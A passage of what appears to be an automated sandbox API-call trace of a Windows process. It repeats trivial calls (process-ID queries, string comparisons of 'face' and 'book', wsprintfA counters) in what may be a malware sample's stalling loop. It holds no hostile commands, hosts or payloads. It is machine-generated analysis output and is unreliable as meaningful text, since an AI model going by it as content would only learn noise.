GetCurrentProcessId () returned 0x81c [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] GetCurrentProcessId () returned 0x81c [0041.711] lstrlenA (lpString="just string") returned 11 [0041.711] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.711] GetLastError () returned 0x57 [0041.711] GetLastError () returned 0x57 [0041.711] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="44BCP") returned 5 [0041.711] SetLastError (dwErrCode=0x57) [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] lstrlenA (lpString="just string") returned 11 [0041.712] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.712] GetLastError () returned 0x57 [0041.712] GetCurrentProcess () returned 0xffffffff [0041.712] GetLastError () returned 0x57 [0041.712] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4501P") returned 5 [0041.712] SetLastError (dwErrCode=0x57) [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] GetLastError () returned 0x57 [0041.712] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4502P") returned 5 [0041.712] SetLastError (dwErrCode=0x57) [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] lstrlenA (lpString="just string") returned 11 [0041.712] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.712] GetLastError () returned 0x57 [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] lstrlenA (lpString="just string") returned 11 [0041.712] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.712] GetLastError () returned 0x57 [0041.712] GetLastError () returned 0x57 [0041.712] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4552P") returned 5 [0041.712] SetLastError (dwErrCode=0x57) [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] lstrlenA (lpString="just string") returned 11 [0041.712] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.712] GetLastError () returned 0x57 [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] lstrlenA (lpString="just string") returned 11 [0041.712] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.712] GetLastError () returned 0x57 [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] lstrlenA (lpString="just string") returned 11 [0041.712] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.712] GetLastError () returned 0x57 [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] GetCurrentProcessId () returned 0x81c [0041.712] lstrlenA (lpString="just string") returned 11 [0041.712] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.712] GetLastError () returned 0x57 [0041.712] GetLastError () returned 0x57 [0041.712] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.712] SetLastError (dwErrCode=0x57) [0041.712] GetCurrentProcess () returned 0xffffffff [0041.712] GetLastError () returned 0x57 [0041.712] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4604P") returned 5 [0041.712] SetLastError (dwErrCode=0x57) [0041.712] GetCurrentProcessId () returned 0x81c [0041.713] GetCurrentProcess () returned 0xffffffff [0041.713] GetLastError () returned 0x57 [0041.713] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4605P") returned 5 [0041.713] SetLastError (dwErrCode=0x57) [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] GetLastError () returned 0x57 [0041.713] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4606P") returned 5 [0041.713] SetLastError (dwErrCode=0x57) [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] lstrlenA (lpString="just string") returned 11 [0041.713] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.713] GetLastError () returned 0x57 [0041.713] lstrlenA (lpString="just string") returned 11 [0041.713] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.713] GetLastError () returned 0x57 [0041.713] GetCurrentProcess () returned 0xffffffff [0041.713] GetLastError () returned 0x57 [0041.713] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4641P") returned 5 [0041.713] SetLastError (dwErrCode=0x57) [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] GetLastError () returned 0x57 [0041.713] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4642P") returned 5 [0041.713] SetLastError (dwErrCode=0x57) [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] lstrlenA (lpString="just string") returned 11 [0041.713] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.713] GetLastError () returned 0x57 [0041.713] GetCurrentProcess () returned 0xffffffff [0041.713] GetLastError () returned 0x57 [0041.713] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4673P") returned 5 [0041.713] SetLastError (dwErrCode=0x57) [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] GetLastError () returned 0x57 [0041.713] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4674P") returned 5 [0041.713] SetLastError (dwErrCode=0x57) [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] lstrlenA (lpString="just string") returned 11 [0041.713] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.713] GetLastError () returned 0x57 [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] lstrlenA (lpString="just string") returned 11 [0041.713] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.713] GetLastError () returned 0x57 [0041.713] GetCurrentProcessId () returned 0x81c [0041.713] lstrlenA (lpString="just string") returned 11 [0041.713] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.713] GetLastError () returned 0x57 [0041.713] GetLastError () returned 0x57 [0041.713] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.713] SetLastError (dwErrCode=0x57) [0041.713] GetCurrentProcess () returned 0xffffffff [0041.713] GetLastError () returned 0x57 [0041.714] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="46D6P") returned 5 [0041.714] SetLastError (dwErrCode=0x57) [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] GetCurrentProcess () returned 0xffffffff [0041.714] GetLastError () returned 0x57 [0041.714] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="46D7P") returned 5 [0041.714] SetLastError (dwErrCode=0x57) [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] GetLastError () returned 0x57 [0041.714] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="46D8P") returned 5 [0041.714] SetLastError (dwErrCode=0x57) [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] lstrlenA (lpString="just string") returned 11 [0041.714] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.714] GetLastError () returned 0x57 [0041.714] GetLastError () returned 0x57 [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] lstrlenA (lpString="just string") returned 11 [0041.714] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.714] GetLastError () returned 0x57 [0041.714] GetLastError () returned 0x57 [0041.714] GetLastError () returned 0x57 [0041.714] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4764P") returned 5 [0041.714] SetLastError (dwErrCode=0x57) [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] lstrlenA (lpString="just string") returned 11 [0041.714] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.714] GetLastError () returned 0x57 [0041.714] lstrlenA (lpString="just string") returned 11 [0041.714] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.714] GetLastError () returned 0x57 [0041.714] lstrlenA (lpString="just string") returned 11 [0041.714] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.714] GetLastError () returned 0x57 [0041.714] GetLastError () returned 0x57 [0041.714] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.714] SetLastError (dwErrCode=0x57) [0041.714] GetCurrentProcess () returned 0xffffffff [0041.714] GetLastError () returned 0x57 [0041.714] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="47F8P") returned 5 [0041.714] SetLastError (dwErrCode=0x57) [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] GetCurrentProcess () returned 0xffffffff [0041.714] GetLastError () returned 0x57 [0041.714] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="47F9P") returned 5 [0041.714] SetLastError (dwErrCode=0x57) [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] GetLastError () returned 0x57 [0041.714] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="47FAP") returned 5 [0041.714] SetLastError (dwErrCode=0x57) [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] GetCurrentProcessId () returned 0x81c [0041.714] GetCurrentProcessId () returned 0x81c [0041.715] GetCurrentProcessId () returned 0x81c [0041.715] lstrlenA (lpString="just string") returned 11 [0041.715] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.715] GetLastError () returned 0x57 [0041.715] lstrlenA (lpString="just string") returned 11 [0041.715] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.715] GetLastError () returned 0x57 [0041.715] GetCurrentProcessId () returned 0x81c [0041.715] GetCurrentProcessId () returned 0x81c [0041.715] lstrlenA (lpString="just string") returned 11 [0041.715] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.715] GetLastError () returned 0x57 [0041.715] GetLastError () returned 0x57 [0041.715] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.715] SetLastError (dwErrCode=0x57) [0041.715] GetCurrentProcess () returned 0xffffffff [0041.715] GetLastError () returned 0x57 [0041.715] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4852P") returned 5 [0041.715] SetLastError (dwErrCode=0x57) [0041.715] GetCurrentProcessId () returned 0x81c [0041.715] GetCurrentProcess () returned 0xffffffff [0041.715] GetLastError () returned 0x57 [0041.715] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4853P") returned 5 [0041.715] SetLastError (dwErrCode=0x57) [0041.715] GetCurrentProcessId () returned 0x81c [0041.715] GetLastError () returned 0x57 [0041.715] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4854P") returned 5 [0041.715] SetLastError (dwErrCode=0x57) [0041.715] GetCurrentProcessId () returned 0x81c [0041.715] GetCurrentProcessId () returned 0x81c [0041.715] GetCurrentProcessId () returned 0x81c [0041.715] GetCurrentProcessId () returned 0x81c [0041.715] lstrlenA (lpString="just string") returned 11 [0041.715] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.715] GetLastError () returned 0x57 [0041.715] GetCurrentProcessId () returned 0x81c [0041.715] GetCurrentProcessId () returned 0x81c [0041.715] GetCurrentProcessId () returned 0x81c [0041.715] lstrlenA (lpString="just string") returned 11 [0041.715] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.715] GetLastError () returned 0x57 [0041.715] GetLastError () returned 0x57 [0041.715] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="489AP") returned 5 [0041.715] SetLastError (dwErrCode=0x57) [0041.715] GetCurrentProcessId () returned 0x81c [0041.715] GetCurrentProcessId () returned 0x81c [0041.715] GetCurrentProcessId () returned 0x81c [0041.715] GetCurrentProcessId () returned 0x81c [0041.715] lstrlenA (lpString="just string") returned 11 [0041.715] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.715] GetLastError () returned 0x57 [0041.715] lstrlenA (lpString="just string") returned 11 [0041.716] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.716] GetLastError () returned 0x57 [0041.716] GetLastError () returned 0x57 [0041.716] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.716] SetLastError (dwErrCode=0x57) [0041.716] GetCurrentProcess () returned 0xffffffff [0041.716] GetLastError () returned 0x57 [0041.716] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="48DEP") returned 5 [0041.716] SetLastError (dwErrCode=0x57) [0041.716] GetCurrentProcessId () returned 0x81c [0041.716] GetCurrentProcess () returned 0xffffffff [0041.716] GetLastError () returned 0x57 [0041.716] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="48DFP") returned 5 [0041.716] SetLastError (dwErrCode=0x57) [0041.716] GetCurrentProcessId () returned 0x81c [0041.716] GetLastError () returned 0x57 [0041.716] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="48E0P") returned 5 [0041.716] SetLastError (dwErrCode=0x57) [0041.716] GetCurrentProcessId () returned 0x81c [0041.716] GetCurrentProcessId () returned 0x81c [0041.716] GetCurrentProcessId () returned 0x81c [0041.716] GetCurrentProcessId () returned 0x81c [0041.716] lstrlenA (lpString="just string") returned 11 [0041.716] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.716] GetLastError () returned 0x57 [0041.716] GetCurrentProcess () returned 0xffffffff [0041.716] GetLastError () returned 0x57 [0041.716] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="48E9P") returned 5 [0041.716] SetLastError (dwErrCode=0x57) [0041.716] GetCurrentProcessId () returned 0x81c [0041.716] GetLastError () returned 0x57 [0041.716] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="48EAP") returned 5 [0041.716] SetLastError (dwErrCode=0x57) [0041.716] GetCurrentProcessId () returned 0x81c [0041.716] GetCurrentProcessId () returned 0x81c [0041.716] GetCurrentProcessId () returned 0x81c [0041.716] GetCurrentProcessId () returned 0x81c [0041.716] lstrlenA (lpString="just string") returned 11 [0041.716] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.716] GetLastError () returned 0x57 [0041.716] GetLastError () returned 0x57 [0041.716] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4930P") returned 5 [0041.716] SetLastError (dwErrCode=0x57) [0041.716] GetCurrentProcessId () returned 0x81c [0041.716] GetCurrentProcessId () returned 0x81c [0041.717] GetCurrentProcessId () returned 0x81c [0041.717] GetCurrentProcessId () returned 0x81c [0041.717] lstrlenA (lpString="just string") returned 11 [0041.717] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.717] GetLastError () returned 0x57 [0041.717] GetCurrentProcessId () returned 0x81c [0041.717] lstrlenA (lpString="just string") returned 11 [0041.717] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.717] GetLastError () returned 0x57 [0041.717] GetCurrentProcess () returned 0xffffffff [0041.717] GetLastError () returned 0x57 [0041.717] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="49BBP") returned 5 [0041.717] SetLastError (dwErrCode=0x57) [0041.717] GetCurrentProcessId () returned 0x81c [0041.717] GetLastError () returned 0x57 [0041.717] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="49BCP") returned 5 [0041.717] SetLastError (dwErrCode=0x57) [0041.717] GetCurrentProcessId () returned 0x81c [0041.717] GetCurrentProcessId () returned 0x81c [0041.717] GetCurrentProcessId () returned 0x81c [0041.717] GetCurrentProcessId () returned 0x81c [0041.717] lstrlenA (lpString="just string") returned 11 [0041.717] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.717] GetLastError () returned 0x57 [0041.717] GetLastError () returned 0x57 [0041.717] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.717] SetLastError (dwErrCode=0x57) [0041.717] GetCurrentProcess () returned 0xffffffff [0041.717] GetLastError () returned 0x57 [0041.717] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="49ECP") returned 5 [0041.717] SetLastError (dwErrCode=0x57) [0041.717] GetCurrentProcessId () returned 0x81c [0041.717] GetCurrentProcess () returned 0xffffffff [0041.717] GetLastError () returned 0x57 [0041.717] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="49EDP") returned 5 [0041.717] SetLastError (dwErrCode=0x57) [0041.717] GetCurrentProcessId () returned 0x81c [0041.717] GetLastError () returned 0x57 [0041.717] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="49EEP") returned 5 [0041.717] SetLastError (dwErrCode=0x57) [0041.717] GetCurrentProcessId () returned 0x81c [0041.717] GetCurrentProcessId () returned 0x81c [0041.717] GetCurrentProcessId () returned 0x81c [0041.717] GetCurrentProcessId () returned 0x81c [0041.717] lstrlenA (lpString="just string") returned 11 [0041.717] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.717] GetLastError () returned 0x57 [0041.717] GetCurrentProcessId () returned 0x81c [0041.718] GetCurrentProcessId () returned 0x81c [0041.718] lstrlenA (lpString="just string") returned 11 [0041.718] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.718] GetLastError () returned 0x57 [0041.718] GetCurrentProcess () returned 0xffffffff [0041.718] GetLastError () returned 0x57 [0041.718] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4A33P") returned 5 [0041.718] SetLastError (dwErrCode=0x57) [0041.718] GetCurrentProcessId () returned 0x81c [0041.718] GetLastError () returned 0x57 [0041.718] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4A34P") returned 5 [0041.718] SetLastError (dwErrCode=0x57) [0041.718] GetCurrentProcessId () returned 0x81c [0041.718] GetCurrentProcessId () returned 0x81c [0041.718] GetCurrentProcessId () returned 0x81c [0041.718] GetCurrentProcessId () returned 0x81c [0041.718] lstrlenA (lpString="just string") returned 11 [0041.718] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.718] GetLastError () returned 0x57 [0041.718] GetCurrentProcessId () returned 0x81c [0041.718] GetCurrentProcessId () returned 0x81c [0041.718] lstrlenA (lpString="just string") returned 11 [0041.718] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.718] GetLastError () returned 0x57 [0041.718] GetLastError () returned 0x57 [0041.718] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4A7AP") returned 5 [0041.718] SetLastError (dwErrCode=0x57) [0041.718] GetCurrentProcessId () returned 0x81c [0041.718] GetCurrentProcessId () returned 0x81c [0041.718] GetCurrentProcessId () returned 0x81c [0041.718] GetCurrentProcessId () returned 0x81c [0041.718] lstrlenA (lpString="just string") returned 11 [0041.718] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.718] GetLastError () returned 0x57 [0041.718] GetLastError () returned 0x57 [0041.718] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.718] SetLastError (dwErrCode=0x57) [0041.718] GetCurrentProcess () returned 0xffffffff [0041.718] GetLastError () returned 0x57 [0041.718] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4A96P") returned 5 [0041.718] SetLastError (dwErrCode=0x57) [0041.718] GetCurrentProcessId () returned 0x81c [0041.718] GetCurrentProcess () returned 0xffffffff [0041.718] GetLastError () returned 0x57 [0041.719] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4A97P") returned 5 [0041.719] SetLastError (dwErrCode=0x57) [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] GetLastError () returned 0x57 [0041.719] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4A98P") returned 5 [0041.719] SetLastError (dwErrCode=0x57) [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] lstrlenA (lpString="just string") returned 11 [0041.719] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.719] GetLastError () returned 0x57 [0041.719] GetLastError () returned 0x57 [0041.719] lstrlenA (lpString="just string") returned 11 [0041.719] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.719] GetLastError () returned 0x57 [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] lstrlenA (lpString="just string") returned 11 [0041.719] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.719] GetLastError () returned 0x57 [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] lstrlenA (lpString="just string") returned 11 [0041.719] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.719] GetLastError () returned 0x57 [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] lstrlenA (lpString="just string") returned 11 [0041.719] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.719] GetLastError () returned 0x57 [0041.719] GetLastError () returned 0x57 [0041.719] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4B7EP") returned 5 [0041.719] SetLastError (dwErrCode=0x57) [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] lstrlenA (lpString="just string") returned 11 [0041.719] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.719] GetLastError () returned 0x57 [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] GetCurrentProcessId () returned 0x81c [0041.719] lstrlenA (lpString="just string") returned 11 [0041.719] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.720] GetLastError () returned 0x57 [0041.720] GetLastError () returned 0x57 [0041.720] lstrcmpA (lpString1="\x08\x8a;", lpString2="luck") returned 1 [0041.720] SetLastError (dwErrCode=0x57) [0041.720] GetCurrentProcess () returned 0xffffffff [0041.720] GetLastError () returned 0x57 [0041.720] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4BEAP") returned 5 [0041.720] SetLastError (dwErrCode=0x57) [0041.720] GetCurrentProcessId () returned 0x81c [0041.720] GetCurrentProcess () returned 0xffffffff [0041.720] GetLastError () returned 0x57 [0041.720] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4BEBP") returned 5 [0041.720] SetLastError (dwErrCode=0x57) [0041.720] GetCurrentProcessId () returned 0x81c [0041.720] GetLastError () returned 0x57 [0041.720] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4BECP") returned 5 [0041.720] SetLastError (dwErrCode=0x57) [0041.720] GetCurrentProcessId () returned 0x81c [0041.720] GetCurrentProcessId () returned 0x81c [0041.720] GetCurrentProcessId () returned 0x81c [0041.720] GetCurrentProcessId () returned 0x81c [0041.720] lstrlenA (lpString="just string") returned 11 [0041.720] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.720] GetLastError () returned 0x57 [0041.720] lstrlenA (lpString="just string") returned 11 [0041.720] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.720] GetLastError () returned 0x57 [0041.720] GetCurrentProcess () returned 0xffffffff [0041.720] GetLastError () returned 0x57 [0041.720] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4C27P") returned 5 [0041.720] SetLastError (dwErrCode=0x57) [0041.720] GetCurrentProcessId () returned 0x81c [0041.720] GetLastError () returned 0x57 [0041.720] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4C28P") returned 5 [0041.720] SetLastError (dwErrCode=0x57) [0041.720] GetCurrentProcessId () returned 0x81c [0041.720] GetCurrentProcessId () returned 0x81c [0041.720] GetCurrentProcessId () returned 0x81c [0041.720] GetCurrentProcessId () returned 0x81c [0041.720] lstrlenA (lpString="just string") returned 11 [0041.720] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.720] GetLastError () returned 0x57 [0041.720] GetCurrentProcessId () returned 0x81c [0041.720] GetCurrentProcessId () returned 0x81c [0041.720] lstrlenA (lpString="just string") returned 11 [0041.720] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.720] GetLastError () returned 0x57 [0041.721] GetLastError () returned 0x57 [0041.721] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4C78P") returned 5 [0041.721] SetLastError (dwErrCode=0x57) [0041.721] GetCurrentProcessId () returned 0x81c [0041.721] GetCurrentProcessId () returned 0x81c [0041.721] GetCurrentProcessId () returned 0x81c [0041.721] GetCurrentProcessId () returned 0x81c [0041.721] lstrlenA (lpString="just string") returned 11 [0041.721] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.721] GetLastError () returned 0x57 [0041.721] lstrlenA (lpString="just string") returned 11 [0041.721] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.721] GetLastError () returned 0x57 [0041.721] GetCurrentProcess () returned 0xffffffff [0041.721] GetLastError () returned 0x57 [0041.721] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4CD1P") returned 5 [0041.721] SetLastError (dwErrCode=0x57) [0041.721] GetCurrentProcessId () returned 0x81c [0041.721] GetLastError () returned 0x57 [0041.721] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4CD2P") returned 5 [0041.721] SetLastError (dwErrCode=0x57) [0041.721] GetCurrentProcessId () returned 0x81c [0041.721] GetCurrentProcessId () returned 0x81c [0041.721] GetCurrentProcessId () returned 0x81c [0041.721] GetCurrentProcessId () returned 0x81c [0041.721] lstrlenA (lpString="just string") returned 11 [0041.721] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.721] GetLastError () returned 0x57 [0041.721] GetLastError () returned 0x57 [0041.721] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.721] SetLastError (dwErrCode=0x57) [0041.721] GetCurrentProcess () returned 0xffffffff [0041.721] GetLastError () returned 0x57 [0041.721] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4CE4P") returned 5 [0041.721] SetLastError (dwErrCode=0x57) [0041.721] GetCurrentProcessId () returned 0x81c [0041.721] GetCurrentProcess () returned 0xffffffff [0041.721] GetLastError () returned 0x57 [0041.721] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4CE5P") returned 5 [0041.721] SetLastError (dwErrCode=0x57) [0041.721] GetCurrentProcessId () returned 0x81c [0041.721] GetLastError () returned 0x57 [0041.721] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4CE6P") returned 5 [0041.722] SetLastError (dwErrCode=0x57) [0041.722] GetCurrentProcessId () returned 0x81c [0041.722] GetCurrentProcessId () returned 0x81c [0041.722] GetCurrentProcessId () returned 0x81c [0041.722] GetCurrentProcessId () returned 0x81c [0041.722] lstrlenA (lpString="just string") returned 11 [0041.722] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.722] GetLastError () returned 0x57 [0041.722] lstrlenA (lpString="just string") returned 11 [0041.722] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.722] GetLastError () returned 0x57 [0041.722] GetLastError () returned 0x57 [0041.722] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0041.722] SetLastError (dwErrCode=0x57) [0041.722] GetCurrentProcess () returned 0xffffffff [0041.722] GetLastError () returned 0x57 [0041.722] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4D34P") returned 5 [0041.722] SetLastError (dwErrCode=0x57) [0041.722] GetCurrentProcessId () returned 0x81c [0041.722] GetCurrentProcess () returned 0xffffffff [0041.722] GetLastError () returned 0x57 [0041.722] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4D35P") returned 5 [0041.722] SetLastError (dwErrCode=0x57) [0041.722] GetCurrentProcessId () returned 0x81c [0041.722] GetLastError () returned 0x57 [0041.722] wsprintfA (in: param_1=0x36fcb3, param_2="%X%P" | out: param_1="4D36P") returned 5 [0041.722] SetLastError (dwErrCode=0x57) [0041.722] GetCurrentProcessId () returned 0x81c [0041.722] GetCurrentProcessId () returned 0x81c [0041.722] GetCurrentProcessId () returned 0x81c [0041.722] GetCurrentProcessId () returned 0x81c [0041.722] lstrlenA (lpString="just string") returned 11 [0041.722] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.722] GetLastError () returned 0x57 [0041.722] GetCurrentProcessId () returned 0x81c [0041.722] GetCurrentProcessId () returned 0x81c [0041.722] GetCurrentProcessId () returned 0x81c [0041.722] lstrlenA (lpString="just string") returned 11 [0041.722] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0041.722] GetLastError () returned 0x57 [0041.722] 